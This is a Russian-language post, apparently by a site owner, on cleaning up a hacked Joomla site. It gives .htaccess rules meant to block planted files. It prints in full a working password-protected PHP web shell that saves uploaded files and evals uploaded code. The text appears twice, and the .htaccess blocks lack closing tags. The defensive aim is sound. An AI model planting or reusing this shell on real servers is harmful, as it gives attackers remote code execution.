Доброго времени суток.
Сегодня столкнулся с проблемой взлома сайта Joomla, хочу поделиться одним из методов, которые помогли решить проблему.
Хочу сказать что решение не специфичное для Joomla и скорее всего поможет и в других случаях.
Если вы обнаружили что на вашем FTP лежит куча странных файлов с именами
lib__*,co__*,pre__*,net__*,func__*,ad__*,ext__*,new__*,old__*,fix__*,fixed__*,na__*,av__*,fx__*,update__*,patch__
Где * — одно из имен файлов, которые находятся в этой директории, а его содержимое очень похоже на это:
Ваш сайт взломали и залили на него т.к. называемый шелл.
Пока вы разбираетесь, что к чему, самый простой файл обезвредить их — дописать в .htaccess (дописать) следующие строки:
<FilesMatch "^offlline\.php$">
Order allow,deny
Deny from all
Файлы будут обезврежены, но не рекомендую ограничиваться только этим, т.к. это следствие как минимум 2-х проблем:
1. У вас есть дыра, через которую все это пролезло
2. Где-то есть файл, который распространил все это. И если вы не примите меры, то через него смогут залить другие модификации.
3. Очень большое подозрение что это снижает быстродействие веб-сервера.
Сегодня столкнулся с проблемой взлома сайта Joomla, хочу поделиться одним из методов, которые помогли решить проблему.
Хочу сказать что решение не специфичное для Joomla и скорее всего поможет и в других случаях.
Если вы обнаружили что на вашем FTP лежит куча странных файлов с именами
lib__*,co__*,pre__*,net__*,func__*,ad__*,ext__*,new__*,old__*,fix__*,fixed__*,na__*,av__*,fx__*,update__*,patch__
Где * — одно из имен файлов, которые находятся в этой директории, а его содержимое очень похоже на это:
<?php
@error_reporting(E_ALL);
@set_time_limit(0);
global $HTTP_SERVER_VARS;
define('PASSWD','8487929db643f81df2d8a2bcfd173348');
function say($t) {
echo "$t\n";
};
function testdata($t) {
say(md5("mark_$t"));
};
echo "";
testdata('start');
if (md5($_POST["p"]) == PASSWD) {
if ($code = @fread(@fopen($HTTP_POST_FILES["s"]["tmp_name"], "rb"),
$HTTP_POST_FILES["s"]["size"])) {
if(@fwrite(@fopen(dirname(__FILE__).'/'.basename($HTTP_POST_FILES["s"]["name"]), "wb"), $code))
{
testdata('save_ok');
};
//eval($code);
} else {
testdata('save_fail');
};
if ($code = @fread(@fopen($HTTP_POST_FILES["f"]["tmp_name"], "rb"),
$HTTP_POST_FILES["f"]["size"]))
{
eval($code);
testdata('ok');
} else {
testdata('fail');
};
} else {
testdata('pass');
};
testdata('end');
echo "
";
?>
Ваш сайт взломали и залили на него т.к. называемый шелл.
Пока вы разбираетесь, что к чему, самый простой файл обезвредить их — дописать в .htaccess (дописать) следующие строки:
<FilesMatch "^(lib|co|pre|net|func|ad|ext|new|old|fix|fixed|na|av|fx|update|patch)__.*?\.php">
Order allow,deny
Deny from all
<FilesMatch "^offlline\.php$">
Order allow,deny
Deny from all
Файлы будут обезврежены, но не рекомендую ограничиваться только этим, т.к. это следствие как минимум 2-х проблем:
1. У вас есть дыра, через которую все это пролезло
2. Где-то есть файл, который распространил все это. И если вы не примите меры, то через него смогут залить другие модификации.
3. Очень большое подозрение что это снижает быстродействие веб-сервера.